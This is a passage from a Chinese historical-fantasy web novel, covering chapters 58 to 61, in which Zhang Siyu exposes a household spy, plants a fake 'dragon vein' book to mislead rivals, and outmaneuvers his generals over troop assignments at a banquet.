姚远舟向来坐山观虎斗,两不相帮,既然陵侯夫人利用他与君侯的旧谊,将其拉入漩涡,那张司宇何不就势以身入局,利用这份情谊还击?
接连几日,张司宇无论是寒夜监视,还是晨起练枪,都时刻留意着陈雅安的动向,午后换由林兮去盯梢,他则去处理白陵城政务,完后才落得休憩,再值夜半子时又轮回自己,便是除夕夜都未间断。
可这条草里的蛇,果是狡猾。
几日过来,陈雅安或是待在天作之合馆,或是陪张天作出门向陵侯夫人请安,其余时间,几乎都是在天作之合馆里,全然未见他与任何人有过接触。
好在是休年期间,事务不多,尚有闲暇,可过了年节,张司宇也是难腾出这番功夫,若还抓不住那名暗鬼,怕是熬死林兮一个人也盯不出端倪。
又近午时,林兮同张鹏练过晨功,火急火燎赶回流云居与张司宇交班。
张司宇似有所觉,忽问了句,“林兮,你是一早上都在与三叔练晨功吗?”
林兮一猛子喝尽大碗清水,喉中清润些许,说道,“是。”
“只你与三叔二人吗?”
林兮颔首,“是,就我一个人和师父练。”
张司宇更加肯定猜疑,“这几日,你可见过我大嫂姜成绮去
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与三叔请安问早吗?”
“只大公子来过两次,天作也来过,但是少夫人没露过面。”林兮回道。
张司宇微皱眉头,“大嫂自与大哥成亲后,日日晨起都会去向潘氏请安,那时三叔尚在江心学宫,我还觉她是重孝之人。如今看来,一直帮陈雅安与墨白城外传递消息的,多半就是她了。”
林兮恍悟,姜成绮若真是重孝之人,怎会只每日同婆家伯母请安,却不向亲公爹问早?她日日去陵侯夫人处,自会遇到同去请安的张天作和陈雅安。朗着声道,“这么说我们是找着了?走,现在就去找她。”
张司宇摆了摆手,“先留着她。好不容易找着了,若是现在就将她揪出来,潘氏还会再送人来,倒时又要再找。”
张司宇洞明,陵侯夫人与陈雅安安插的,绝不会仅有姜成绮一人。
上元节前夕,陵侯夫人记着此先张司宇问责姚远舟擅离职守,故派人来送信,欲在北极宫内宴请姚远舟一家,问他的意思。
张司宇应允。
正月十五,白陵城花灯如海,流光溢彩。
北极宫天光楼,彩灯高悬,如星火倒影,张、姚两家人共聚一堂,楚英作陪。
席间,陵侯夫人与楚英不时赞着姚远舟是如何治军有方,又夸着张天作与姚十一是何般相配相成,张天作亦是温言好哄勉为其色的姚十一。
姚夫人心下十分欢喜,想着这位未来的女婿,不仅身份贵极,性格也下顾,任姚十一如何作难,都和颜应之,没有一丝儿着急的模样。说道,“三公子,别太溺惯她了。”
“哼。”姚十一嘟着声道,“张天作,枉我以为你也是个有骨气的,怎么家里说什么就听什么?”
张天作和颜道,“十一姑娘此言差异,人生于世,无论何时何境,都该甘之如饴才是。”
姚十一瞥了一眼,“窝囊。”
楚英听了不痛快,反驳道,“要说天作窝囊,这屋里就没几个有骨气的了。”
姚远舟看到女儿一脸扭态,喝道,“十一,婚姻之事向来是父母之命。少主自小便与楚英定亲,你可听说他二人像你这般不愿过?”
姚十一娇声道,“少主是什么都不缺的,什么样的夫婿对她而言,不过是锦上添花的陪衬而已。”
楚英大感不悦,又念及姚十一将成张天作妻子,忍气道,“胡扯,你当是个人就能入少主的眼吗?”
姚十一朝楚英挑去一眼,“你看,我才说你一句,你就懂得顶嘴。张天作若是有你这几分模样,倒也不那么窝囊了。”
张天作微笑问道,“十一姑娘,由你看来,怎样才算是有骨气呢?”
姚十一抬着眼,左瞅瞅,右瞧瞧,心念着儿时见张司宇提枪上马的场景,痴语道,“少年英雄,临众数之军,也敢凭一枪一马,孤身入局。这才叫有骨气。”
“哦,我知道了,十一姑娘说的是封狼居胥的骠骑将军啊。”张天作回应道,接而话锋一转,“白陵虽兵马盛行,但天作情愿,我白陵永无霍将军那般勇冠三军,骨气非凡的人。”
姚十一不解,问道,“为何?”
张天作缓缓解释道,“一将功成万骨枯。金戈铁马纵是豪情,封狼居胥亦是震心,但兵乱之下,谁又想过那些朝不保夕的民生。”
张司宇投出一种诧异的目光,张天作虽称不得纸醉金迷,但实是享乐之人,不想乐天知命的他,竟有如此非攻之见。
58. 有鹰出 探草寻蛇
“按你的话,我白陵的十万铁骑不是没用武之地了?”姚十一问道。
张天作淡淡抿了杯酒,“怎会无用,有我白陵这十万大军在,天下便无人敢起兵戈,没有兵戈,黎民百姓自是安居乐业。”又淡淡补充了一句,“我也是听父亲说的。”
姚远舟紧忙附和道,“君侯高见。我等必将忠心职守,护白陵、护大邺民生安乐。”
念及陈雅安日前吩咐要见好就收,张天作又煞有深意道,“家母既有意我娶你爱女为妻,天作必会好好待她。但天作志不在戎马,白陵兵营之事,还望你与诸位将军多多劳心。”
姚远舟迟疑望向陵侯夫人,依她的意思,是先让张天作将姚十一娶过门,而后便准备运作张天作进兵营开始扶持提拔,不想,张天作虽遵母之命娶姚十一,但却不愿依母之意投身兵营。
“天作你业已及冠成年,待成婚后,也该去营里历练才是。”陵侯夫人插话道。
张天作犹豫间,张司宇有意无意道,“当真不想去营里历练看看吗?你放心,有姚都督在,吃不了什么苦的。”
张天作听到“吃不了什么苦”,心想,我岂是畏惧艰苦之人?转念又想,即使去了营里,有姚都督上下打点,母亲定也时时想着法子往兵营中送肥马暖裘。虽身在兵营,但与在墨白城锦衣玉食的生活并无二致,倒不如在江心学宫随三叔练武时,没有过多的特殊优待来得真实。口中再度拒道,“比起金戈之声,我更喜金石之乐。”
张司宇岔开话锋,转对着姚远舟问道,“姚都督,兵制改革之事,督办的如何了?”
姚远舟道,“已是部署妥当,待开年后,就将传令各营施用。”
兵营之事,姚远舟向来只通禀,不询问自己意见。张司宇眉间一锁,逼视向姚远舟,“明日拿于我过目。”
姚远舟犯起难,“兵营中事向来权责分明,上将贸然过问,便是末将没有什么可藏着掖着的,恐怕北军肖垂,西军岳刚知道了也会有些微言。”
张司宇又是一喝,“好一个权责分明,兵马节制虽是你之公务,但我亦有督察之权。年前你擅离平川镇,说是为家事才入的都城,我都未曾见你权责分明过。”
姚远舟不知该作何回应,擅离职守虽然不会落大处大罚,但若因此获罪,也必有损颜面。“末将遵命。”
张司宇拭了拭嘴角,说道,“姚都督,明日午后到摘星阁来,我乏了,先回房了。”
他走出天光楼叫走等候在外的林兮,还没多会儿功夫,姚十一快步遛烟儿追了出去,“司宇哥哥,等等我。”
待他二人回头,姚十一先是一呆,想了许久,终于记起林兮正是几年前在平川镇骑张司宇白马的那位少年。“林兮,你也在墨白城?”
林兮笑道,“我来不得吗?”
姚十一停下脚步,手插着腰喘着大气儿,“来得来得。”又上气儿不接下气儿向张司宇哀求道,“司宇哥哥,求你帮帮我,我真不想嫁给张天作。”
“胡闹。”张司宇斥道,“婚姻大事,向来是父母之命。我既非你父母,又非你兄长,如何能帮得到你?”说后,便头也不回地朝流云居而去。
林兮紧随其后。
姚十一亦是彪住二人,林兮看她一劲儿苦求模样,心中犹不落忍,心想,如果被姚十一知道张司宇本想让自己娶姚十一,是不是也这般不愿嫁?
又念起了邱怡,她说自己尚有一门婚事在身,即使她到云间城数年,她那所谓的夫家都不曾关心探望过她,可她还是心甘情愿地回到垦岭去寻夫家。若她同姚十一一般,不愿将自己的终身交由于他人安排,是不是就不用非得回垦岭了?
就这样,姚十一带着她的声声恳求,追着二人穿过廊亭,穿过后院,穿过石林。她也想着就这么一路唤下去,最好是北极宫上下全数知晓她不愿嫁与张天作一事。
直到后山冻湖边,张司宇才停下脚步,冲她问道,“天作哪点配不上你?你为何不愿嫁给天作?”
姚十一吱唔道,“我说了,我想嫁给一位英雄。”
张司宇看着满是天真的姚十一,道,“英雄也是起于微末,哪有人生来就是英雄的?你怎知天作今后不会成为一名英雄?”
对着身前的这位少年英雄,姚十一憋了半天,才道,“司宇哥哥,谁都想嫁给一位自己喜欢的人,我想,即便是你,也不会听由旁人做主自己的终身大事。”
歪打正着。
难以释怀的回忆再泛,当年伯父要他娶姚十一过门,为今后出任白陵都督铺路,张司宇为拒此婚,不惜触怒伯父,被发配到极遥。
几经挣扎,张司宇才从回忆的漩涡中逃出,竭力秉着一脸端色,不想被人察出自己的波动,低声斥道,“你知道你在讲些什么吗?”
姚十一内心纠结不已,嘴中好像结了一张网,每欲启齿,都将要张开的双唇黏住。低声问道,“司宇哥哥,你有喜欢的人吗?”
张司宇嘴唇都未张开,只拨动舌尖轻轻送出,“没有。”
即将与张天作定下婚期,定下关乎自己一生的大事。姚十一很清楚,除非嫁予一位家门与人品都贵重于张天作的人,否则,这门以父母之命发起的亲事,几乎是无人可阻,故而,她才跑出来找白陵城内,唯一可救她出这门婚事的人。可张司宇轻轻淡淡一句“没有”,就将她心中的光火灭了,进退难措,仿佛落入了滚滚江流,
忽见张司宇凑了来,左耳分明感受着他口中哈出的热乎乎的气息,耳中又传进暖融融的一句,“你可有喜欢的人了?”
姚十一微微摇了摇头,掩盖道,“没,也没有。”
张司宇挺起身,点着头道,“很好,便是你心有所爱,也当即刻抛却。”
由命?由人?姚十一顾不得许多,慌乱道,“如果那个人是你呢?”
张司宇嘴边一撇,“小姑娘,你可真会给哥哥出难题。”
姚十一假似无事笑道,“我是开玩笑的,司宇哥哥你和那些人不一样的。”
张司宇好奇道,“哪些?”
姚十一涩涩道,“就是我爹爹,沈伯伯,肖叔叔那样,有很多位妻子的人。”
张司宇目间沉出一道异光,谴道,“这就是你不想嫁给天作的原因吗?”
姚十一微微点了点头,“张天作是很好,但我知道,他娶我不是因为他喜欢我,而是因为他没想过拒绝。同样,今后再有人给他送妻妾,他也是不会拒绝的。”
张司宇坚声道,“姚十
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一,天作温润宽和,是良婿之选,你回去后断不可再生此念。”
姚十一嘴角一撇,带着满腹委屈走开了。
上元佳夜,十里灯华,百坊不禁。
成千花灯都拢汇入白陵都城,不知疲倦地徜徉在街头巷尾,夹着烟火的硝气,团圆的合气,天空渐渐泛白,街灯渐次熄灭,清晨的序幕缓缓拉开。
张天作依旧带着楚英与陈雅安去向母请安,却听到姜成绮正与母亲说道着,“伯母,难能有此良机,姚都督也有扶持之意,定要让三弟把握住了才是。”
前几日,陈雅安就曾建言拉拢姚远舟不可太过用力,姚远舟虽手握实权,张司宇一时拿他不下,其所仗的还是他一直保持中立的态度,手底下的兵士才愿全员听从。
其实姚远舟中立是中立,但也不是傻人,君侯多年未归,他也会为自己谋划新路。这些年陵侯夫人和张司宇两方斗法,他亦在观望二者中谁能保住他的地位。
陵侯夫人要张天作接手兵营中事,虽是顺势之举,但日久后,难免会令姚远舟怀疑是有取代之意。
张天作俯身一拜,“母亲安好。”再转身向姜成绮问候道,“大嫂安好。”
陵侯夫人沉吟片刻,“天作,你为何不愿入兵营?”
张天作尬着脸笑了下。
陈雅安侧转过头,盯着姜成绮道,“少夫人,听小人一句劝,今后少给夫人出这些馊主意了。”
姜成绮撇扭唇角,刻薄道,“这百利而无一害的事,怎到你这就成馊主意了?”
陈雅安反问道,“这么百利而无一害的事,张司宇不懂得做吗?容小人再问一句,分了姚远舟的兵权又如何?”
姜成绮讶异愣了半天,实想不出所以然,“自是要将他的兵马一点点收为己用。”
陈雅安脸色更冷下几分,“妇人之见。姚远舟的兵马从哪里来,还不是要拆调出他手下统将们的兵力,你觉他们会乐意吗?即使同意了,到时能给到天作的又有多少?那之后,你再想着分来他们的兵卒,可就不那么好说话了。”
陵侯夫人眉眼闪烁,极力思考着,“这么说,娶了姚家女儿,也碰不得姚远舟的兵马了吗?”
陈雅安目光微凝,转过身回道,“夫人,您何必急于这一时呢?等三公子与姚家女有了将来,姚都督自然清楚他下一步该做什么。”
姜成绮屏住被陈雅安讥讽的愠怒,向陵侯夫人禀道,“伯母,迟则生变,好不容易占了先机,咱们还是先该乘胜追击,收回一万兵是一万兵,总比担心他们投向张司宇要好。”
张天作插言缓解道,“母亲,军中之事,孩儿也不甚熟悉,还是……听雅安的吧。”
陵侯夫人轻抿嘴唇,慎重沉思起来。难得有说辞要姚远舟奉上兵马,为何不要?我看雅安如此反对促成此事,多半是在为自己做打算,等天作一旦有了兵马,定不会像今时今日一般倚重他。
陵侯夫人转命婢女取出满是银票的锦盒交予陈雅安,开口道,“雅安,多年来,你为我谋局,这份辛劳我是记得的。”
说完之后,王妃又拉起姜成绮的手,说是要带她回房选几件钗饰。
见母亲如此不再给陈雅安说话的机会,张天作只得带着他告退。
59. 君子小人真假意无苛
在回天作之合馆的路上,张天作悠悠开口道,“雅安,你为何不愿我入军中?”
陈雅安看着张天作,徐徐道,“军中之人一向是将在外君命有所不受,姚远舟也不例外,如果不是他主动归投,任我们许再多的好处,都难将他真正收为己用。”
云雾拨明,张天作快手一拍,“我懂了,你是想让他主动靠向我来?”
“是。”陈雅安承认道,“眼下他与张家联姻在即,张司宇必会从中作梗,只要我们用心待之,他自会明白,跟谁联手才能保住他姚家如日中天的地位。”
楚英道,“还该是你最能洞察人心,这样的耐性,我恐怕这辈子都学不来。”
“那眼下,我等该做些什么呢?”张天作问道。
“眼下?”陈雅安犹豫道,微微仰起头,凝视着蔚蓝的天空,许久许久,又投望道张天作身上,“你尽快与姚十一完婚就好。”
张天作无奈叹气,眸中极是悲怆色,自嘲道,“张天作枉是张家男儿,竟还要靠一女子,才可安身立命,真是讽刺至极!”
楚英随之抚了抚张天作背身,朝左右看了看,打趣道,“天作,以后不许笑我是吃之合软饭的了。”
张天作摆了摆手,笑道,“不说了,不说了,再也不提了。”
寒风匆匆啸过,空中不时掠过几只孤鹰。
雪域的凛冬时节,是对它们生存的极度考验,还好午后的阳光最是温暖。
翌日,林兮随张司宇进到摘星阁,等候姚远舟来此汇报兵马驻防之事。
摘星阁和揽月阁一般,即使敞开大门,空气都是暖洋洋的,连脚下金砖也是温热,林兮不知,这间房下,通铺了四条地龙,才使得屋内温暖如春。
张司宇虽已搬出摘星阁一段时日,但这里仍是窗明几净,正中横设一张柏木大案,摆列着文房四宝,左列设四把宽椅,每椅间隔有一几,桌几上摆着盆睡莲,右方一整是金丝楠书架,上面淋漓闪着许多金字的书。
张司宇从架子上取下一本《白陵纪要》,置于桌案,林兮本以为他是要与自己介绍这册书,不想他只是浅询起自己与姚十一相识之由。
直至来人通传,姚都督已到,张司宇快声叮嘱道,“这事不要同别人讲。”随后,命人将姚远舟请入。
姚远舟迈入门功夫,张司宇正拾起一页纸盖住《白陵纪要》的封面。
姚远舟奉上关于兵制改革的一本折子,张司宇每看过一页后,都将阅过的折子页挪向《白陵纪要》,数页过后,离覆有纸张的《白陵纪要》只两指宽距。
这时,张司宇又将看完一页,他依旧把折子向右移近一分,顺势带偏覆在《白陵纪要》上的纸张,露出“白陵纪”三字,张司宇却假作慌张似的,急忙盖住露出的三个字,又很紧张地瞄了眼姚远舟。
较之此先兵制,这本折子只几处微微人员变动,无甚大改之处。待张司宇批阅过折子,却道了句,“姚都督,正月后,我也想从你处借些人马。”
“敢问上将,要调配多少人马,又是用于何处?”姚远舟问道。
张司宇手引向林兮,“六皇子前几日来信,说要编撰册书,要我派人去考察白陵地貌,派一队人马将此事应付过去就行。”
姚远舟一听,张司宇既未指名要精锐,又只要一队人马,确不是大事,又试问道,“请问上将需要哪营的兵士?”
“选些口风紧的,六皇子特意交代过,这套书要许久后才可正式刊行,事先万不可走漏风声。”张司宇回道。
姚远舟应允后,张司宇又似有若无地说了句,“六皇子编书乃是私事,你务必同兵士们说清楚了,即便在外面飘上三年五载,也没有差旅例钱,不情愿者,亦不勉强。哪怕最后只有三人五马愿意,也需得是自愿,免叫人说我张司宇假公济私。”
姚远舟点头称是,带着折子告退离去。
林兮发问,“这,没有好处,恐怕找不出来这么多人的。”
张司宇撇嘴淡笑,“要的便是愿者上钩。”说着,摊开《白陵纪要》,寻到记载白陵龙脉的一页,微微在边角处做旧,又摁着内脊重重一压。
随后抬头对林兮道,“这几日去三叔处练晨功时,将此书带上,姜氏必对此兴趣至极。”
林兮茫然,“你既要请君入瓮,那为何不跟姚都督提龙脉一事?”
张司宇摆了摆手,“让他们自己去查,自己查到,才更可信。”
林兮问道,“那这书上说‘得龙脉者得白陵’,是真的吗?”
“子虚乌有。若有人问,你就当作不知,越是神秘不提,那班人随你考察地貌就越有干劲儿。”张司宇悠悠道。
林兮又端起书,看了看关于白陵龙脉的只言片语,感慨道,“虚虚实实,当真难辨。”
张司宇合上书页,交予林兮。
姚远舟告退后,果真对张司宇桌案上遮遮掩掩的《白陵纪要》生了疑,即透露给了陵侯夫人,后者很是重视。
又是几日,林兮日日晨起去与张鹏练剑,他将那本《白陵纪要》带上,练剑时亦是用脱下的外衫将书册包裹得严实。不过两日,张天官便带着妻子姜成绮来与张鹏请安问早。
他二人围坐在石桌边,林兮挥剑片隙瞧见,姜成绮眼珠子时刻不离放在石墩上的外衫,只是张天官一直在旁,她并未有什么动静。直至林兮练完剑,张天官夫妇都未离去。林兮穿套外衫时,特意将那本书在姜成绮前闪了一眼,随后迅速揣入怀里。
再过一日,张天官与姜成绮带着两提食盒来看他练剑。林兮心觉,姜成绮该是要有所行动,只继续按着张司宇的意思,引狼入室,将计就计。
果然,在茶歇时,姜成绮不慎将满满一碗茶打翻向林兮。
“林公子,都是我粗心。”姜成绮说道,“天气寒凉,公子若不嫌弃,可先换了外子衣袍来穿。”
林兮回道,“多谢少夫人。”
张鹏也关心道,“天官,快带林兮去更衣,别冻着他了。”
张天官应声道,“走,林兮,随我去。”
待林兮与张天官再回到张鹏处时,见只姜成绮一人在石桌旁。
张天官细询才知,姜成绮听公爹聊起墨白城内有柄绿绮剑,她听这把剑是与自己同名,好奇想看看,张鹏便到剑室取剑去了。
不会儿功夫,张鹏便带回一柄周身通绿如碧的剑
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来了。见着姜成绮对绿绮剑又赞又叹的模样,林兮心想,如不是司宇事先洞明,真是险些被她骗了。
林兮练过剑后,便揣书告退,回到流云居后,打开一看,这本虽和事先张司宇交予自己的那本《白陵纪要》是同版刊印,但记有白陵龙脉之事的那页,并无张司宇事先做旧的痕迹,显然是被调包了。
张司宇满意淡笑,对林兮说道,“做人做事,一定要禁住诱惑,三思而行,任何好巧,都可能是圈套。”
“司宇,你确定姜成绮会以为你是去寻龙脉吗?”
张司宇默默阖上眼皮,“陈雅安见微知著,这点小动作瞒不过他的。所以,但凡我有一丁点风吹草动,他都将大费周折。”
林兮问道,“那还敢让他知道,万一他们真的寻到龙脉了呢?”
张司宇说道,“伯父说过,龙脉是可见不可得之物。”
林兮晃了晃头,“跟他们兜这么大一圈,到底要做什么?”
张司宇提笔写下一串姓名,敲着宣白纸张问道,“猜猜这几人是谁?”
林兮望去,沈炼,肖垂,姚重九,姚上元,岳刚,“我若猜的不错,他们便是白陵的五军统将了。”
“不错,这些人中,即便是资历最浅的岳刚,从军也快二十年了。”
林兮扭了扭眉,难怪张司宇如此眼重姚远舟的兵权,又分毫奈他不得,原是姚远舟手下的人,皆是老将,“姚都督才逾五十,怕是再过十年,这班人马也是牢如铁桶。”
张司宇点着肖垂名字,“肖将军今年六十有五,再有三五年,也该解甲了。姚远舟这几年一直在考虑该由谁来接掌北军。”
林兮无奈笑了笑,“姚都督将有天作这位乘龙快婿,想来心里快有答案了。”
张司宇看着林兮对自己有声应声,有命从命的模样,叹道,“这位子本来是属于你的,如今,也只能给你另谋出路了。”
晨曦初破,不等第一缕阳光探入流云居,张司宇便持枪立身屋外练功。
伴着银枪划过空气的呼呼声,林兮也渐渐醒来。自到墨白城以来,他便一直与张司宇同住流云居,他睡床,张司宇卧榻,林兮盖棉被,张司宇盖单被。
从张鹏处练剑回来,张司宇带他去了桃李苑,二人还未进门,就听屋内传来朗朗读声。
暖阁内,矮松木架间,皆是香炉棋枰类的精致玩件儿,一儒衫老者坐在一张花梨小几旁捧书默诵,旁边几上摆着细颈青窑瓷瓶,里面插放一束时兰。
张司宇恭身拜去,“孙儿见过外祖。”
林兮闻声,双手作礼,面着顾友庭深鞠一躬,说道,“小辈林兮,见过顾阁老。”
顾友庭起身,领二人进了内室,三人围着一张金漆方桌坐下,桌上摆着数盘鲜果蜜饯。
张司宇再度介绍道,“外祖,林兮便是我与您提过的,作出《哀乐论》的那位小兄弟。”
顾友庭,仔细端了端林兮面态,见这小伙墨发高扎,额前碎发风动,不住大赞道,“前几日司宇还带了你的诗词来,万里功名,白马银鞍飒沓河汉。当真是自古英雄出少年啊。”
林兮谦逊地半点起额头,“阁老谬赞了。”
60. 纵横远近方为策
张司宇开口道,“林兮,外祖曾是东海城竹贤阁阁老。如今瑶光太学学正祈大人,正是他门生,待你寻访过白陵地貌,我就将你安排进太学,一面著书,一面协助祈大人在民间开设教坛,争取早日为寒门学子敞开仕途之门。”
顾友庭似有什么话含在嘴里,虑道,“司宇,白陵与东海不同,无论是都城太学还是乡间学堂,都鲜设文教,若贸然将布衣学子引入仕途,怕是会令惯以居安的权贵们心生惶惶呢。”
张司宇信誓道,“革故方能鼎新,大破才能大立。若只举贵,而不举能,长此以往,白陵难有新兴之貌。外祖也瞧见了,在白陵但识得几个字,射得准箭,骑得好马,就能谋得一官半职,可这军政大事又岂能全交由一群蛮儿之手?”
“白陵历来是以武为荣,这份气貌不是今日才有。”顾友庭语重心长道,“我只是担心,你的势头若太过强盛,恐又再起波澜。司宇,你大事要紧,忍辱多年,如今正是紧要关头,断不可惜指失掌。”
张司宇沉吟了一下,“林兮,你先到瑶光太学,负责撰书事宜,余者,容后再议。”
路上,林兮憋了一肚子的问题,进了流云居后,终于忍不住了,“司宇,你的大事,难道是想取白陵君侯而代之吗?”
张司宇缓缓垂下眼皮,低声道,“林兮,白陵有很多想害我的人,如果我不这么做,迟早有一天,会死于非命。”
林兮深深看着他,道,“是谁想害你?是张家君侯还是张少主?或是其他什么人?”
张司宇豁豁抬起眼帘,笑了笑,“我的伯母,还有陈雅安,他们都视我为眼中钉、肉中刺。”
林兮那颗赤诚的心,像是被什么东西攥住了,迟疑许久,才鼓足勇气问道,“你做这些是与你父亲有关吗?”
张司宇略有触动,顺着梨花椅坐下,缓缓开口道,“他当年弃我而走,是不想他一人之过牵连于我,如今我所谋之事,亦不会扯到他。”
林兮澈清的眸珠不住打量起眼前这位天之骄子,忧虑道,“司宇,胜负终是难料,你何必铤而走险呢?”
张司宇深深看了林兮一眼,沉默住了,直至他把目光移到滋滋作响的炉火上,才紧了紧拳道,“我比谁都清楚,一步踏错,要掉进的可就是万丈深渊了。但我早将生前身后名抛于脑后,只要活着的时候,为此尽了心力,我张司宇就问心无愧。”说着,目色几近无力,他暗暗咬住后槽最深处的牙,“为人子者,当尽其孝,我的人生也许没有归途了,但未来一定是灿烂的,林兮,你愿意陪我走过这条长路吗?”
林兮终是理解了,为何张司宇对生父之事,向来噤口不言,为何那日在小次山下,他对梁功长,摆出一副拒人于千里之外的态度,亦是极力撇清干系。
林兮默默哼了一声,“愿苍天见怜,你与你父,团聚有期。”
张司宇默凝林兮,从当初送他去张天作同窗伴读起,就已为他想好退身之路。三弟天作宅心仁厚、胸襟宽广,即使他朝张司宇自顾不暇,张天作也会出手保林兮一命。
张司宇为林兮选调兵士一事,很快在兵营中传开。伊始,听闻要在外三五年又无甚差旅补钱,响应者稀稀落落,但不知怎的,没过三五日,人头忽地涌动起来了。
开年后,姚远舟麾下各将齐聚平川镇述职,姚远舟看着报上来的名单,足足有百余人,其中过半是卫防白陵都城的兵士,心中很是惊异。张司宇提出如此苛刻条件,还有这多响应者,再长久下去,军中愿投效张司宇的人怕是将越来越多。
他这才重新重视起陵侯夫人提出的,要张天作领兵一事,想着借此机会敲打一番下属们。
白陵兵将十万余人在册。
姚远舟及二子独占五万,沈炼与肖垂各领兵两万,镇守东、北二境,白陵西部,不与外邻接壤,故而岳刚的兵马数量,稍逊一筹。
五军兵力,本互不影响,但听闻要派出兵力给陵侯公子张天作后,旗下难免各怀私心。
张司宇带林兮到往驻在平川镇的司马府衙时,姚远舟正召几员统将商议此事,闻人来报张司宇在堂外等候,姚远舟暂搁手中事,要人先请张司宇来。
张司宇接过将随林兮考察白陵地貌的兵将名册,谢道,“区区小事,竟征得这班人马,劳姚都督费心了。”转又将目光停到林兮身上,吩咐道,“林兮,今日时辰不早了,你且在平川大营留宿一晚,明日再出发也不迟。”
张司宇退去后,径直带着姚远舟交来的兵将名册去了文书处,逐一查起百人队伍中兵士的户籍资料,尤是妻族,最为仔细。
果然,这般兵士中大多是在过去一年内从邻境的东海城、燕山城娶过妻或是纳过妾的。
张司宇眉眼松弛,嘴边挂有笑意,好像只是在一个山静水长的日子里随意翻看几本闲书,实则是格外聚精专注,力求牢牢记下要紧信息。
可议事堂里里,却又炸开了花,倒非众将不听军令,只是谁都不愿将自己的营里的兵马献出。唯参将岳刚,提了一个两全的法子,便是要张天作先入肖垂的营里,从游击或是参将做起。
姚远舟顿时觉着不错,待过几年肖垂解甲后,可直接将他麾下的两万多人马派给张天作。可肖垂想着自己尚在营中的一子三孙,心中说不出的滋味。
看完兵籍资料的张司宇路过议事堂时,听到里面还是一团乱哄哄的喧嚣气,听到散落出的断言残语,内力充沛、耳力过人的他猜出了大概。在回到住处后,复默着适才记下的军户信息,另半边心思疾转。
日暮时,姚远舟派人来请赴晚宴。
张司宇进到宴厅后,几员兵士正忙碌穿梭送上一盘盘盛菜佳肴,可几位将领间既无悦色、又互不做言谈,只与自己随带的下将窃窃交流着什么,心知这几人定是对派兵予张天作之事各怀肚肠。
见张司宇进来,以姚远舟为首皆向他见过一礼,赘赘客套起来,不多时便各自归座了。姚远舟居于主席之座,张司宇坐在他右侧,两侧首座分别是肖垂与沈炼,其后是姚重九与姚上元,最后两席是岳刚与林兮。
不及张司宇发言,姚远舟喝令道,“上酒。”
几位伺行的兵士应诺捧起注壶,斟满案上乌银酒樽。
姚远舟举杯,敬向张司宇,“上将,我们都是粗人,一向不会说转肠子的话,末将先干为敬了。”说着便干了樽中酒,其
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余几位兵将也纷纷一饮而尽。
酒过三巡后,张司宇才浅露笑意,命身旁兵士满上一樽,鼓吹道,“素闻姚都督治军有方,百人队的名录我已过目,皆是正当盛年的壮兵。”他执起酒樽,恭敬对向姚远舟,道,“来,我代林兮敬你一杯。”
姚远舟举樽回之,一饮而尽,林兮陪赴。
随后,张司宇又再举樽向诸位统将,“林兮可受领百人队伍,多亏诸位将军借调,日后公干相遇,还望几位大人随时指正。”
几员将领亦举樽仰首。
张司宇向远坐席尾的林兮呼喝道,“林兮。”
林兮闻声站起,“属下在。”
张司宇喝问道,“你可知,行军打仗,最重要的是什么吗?”
林兮面着一堂眸光,震震道,“是军令如山。”接着,又用更洪亮的声字字铿锵道,“凡不听约束者定斩不赦。”
“对,你看姚都督之所能一令喝下,万军从,便是他时刻将军纪记在心间。你既为百人之首,自当表率,不偏私,更不可徇私,才好上行下效。不仅是你,即使天作成了姚都督之婿,也当遵此道。”张司宇训示道。
姚远舟一听,又看到诸军统将各有所感的神情,心下不禁思索起来。明是在离间挑拨,任分谁的兵马给到三公子,事后大家都会察觉是我获益,既然张司宇强出风头,不如就将这烫手山芋抛给他。
林兮拱手回道,“属下谨记。”
随着姚远舟一个眼神,姚重九提樽起身,“久闻上将铁面无私,今日末将遇了一难事,还望上将点拨一二。”
“讲。”
姚重九叹了口气,以十分为难的语气说道,“末将本有张灵宝弓,想着将来留给我的儿子,后来内人怀老二时,末将担心他长大后见大哥有宝物而自己没有,觉我不公,又花了重金寻了匹千里马来。可我那夫人。”说着难为情地嗤笑起来,说笑道,“这会儿又怀上老三了,手心手背都是肉,宝物有数,可儿子却越来越多,末将真是不知今后该怎么分了。”
张司宇思绪一阵儿,“灵宝弓,可是那张两石重的弓吗?”
姚重九嘻哈笑道,“是。”
“姚将军,你可还记着,此弓从何处得来的?”张司宇问道。
姚重九得意笑了笑,应答道,“自是君侯,见我有一股子蛮力,将那弓赐给我的。”
张司宇端肃的目光直直盯向姚重九,字字清晰道,“伯父识才,知你臂力过人,才将空悬多年的宝弓送你。这灵宝弓既是君侯下赐之物,自是要将它交到能驾驭此弓的勇士手中,才不至暴殄了天物。”
姚重九摆着手,玩笑道,“幸好末将还能勉强再拉上十年,等几个孩子大了,谁可拉动灵宝弓,末将就将那弓送给谁。只怕,到时另外二子,会为那匹千里马闹得更凶。”
张司宇瞳中散着锋利的光芒,语气平淡地回道,“多子之家,最忌讳的便是不患寡而患不均。有时他们争的并非宝物,只是不想让对方得到罢了,反之,他们并不担心错失你的宝物,只是担心只自己失了,他人得了。”
张司宇视光环扫了一圈,见沈炼和肖垂脸上都微微沉凝着。
61. 好道谁嫌恶
“依我看,若是不够平分,不如先不分。”张司宇又煞有介事地提道,“当年姚都督送来两匹雪龙骏时,伯父也知不够分我兄妹三人,好在天作谦让,说等姚都督再送来好马,给他也是不迟。伯父这才放心将两匹雪龙骏赐予我和少主。”
话毕,沈炼眉眼豁地开了,肖垂却仍是一副思考状。
姚重九再度迫问道,“末将已答允过小儿了,现在说不分岂不是在出尔反尔?”
张司宇回质,“君侯赐物,岂是你说赠人便能赠人的?”
姚重九瞟了眼姚远舟,见父亲正递来眼色,将身一拜,“如今君侯云游在外,末将斗胆,请上将代为作主。”
沈炼、肖垂等见此情形,纷纷跪地俯身,一同喝道,“末将斗胆,请上将代为作主。”
张司宇龙身端坐,微微垂下眼帘,低视着厅下跪拜的武将们,嘴角轻启,“众将这是何意啊?”
姚远舟见机起身,拱手揖礼,说道,“上将所言极是,君侯赐物,如何下分,当是由君侯一人裁断。末将昏聩,此前应允夫人调兵于三公子。还请上将代为言明,末将虽有兵十万,但东南西北各地皆有布防重任,实遣派不出闲兵了。”
张司宇眉间微微拧聚,正色视着将祸水引向自己的姚重九,目光像是一道道凌厉的剑气,在他面皮上刮着,“你是要我助你解难?还是要我处理白陵城的兵马事务?”
姚远舟低下头去,鼻息渐粗,任是如何作答,都是犯难。
张司宇刻意停顿了下,叹出一声极重的鼻息,用着毫无波动的口吻说道,“伯父之所以是君侯,是因他向来公正无私。我张司宇自任白陵上将后,亦是无室无眷之人,自认再无私事可言。众将所请若是兵马节调之事,亦可按例上奏,我自会秉公处理。”
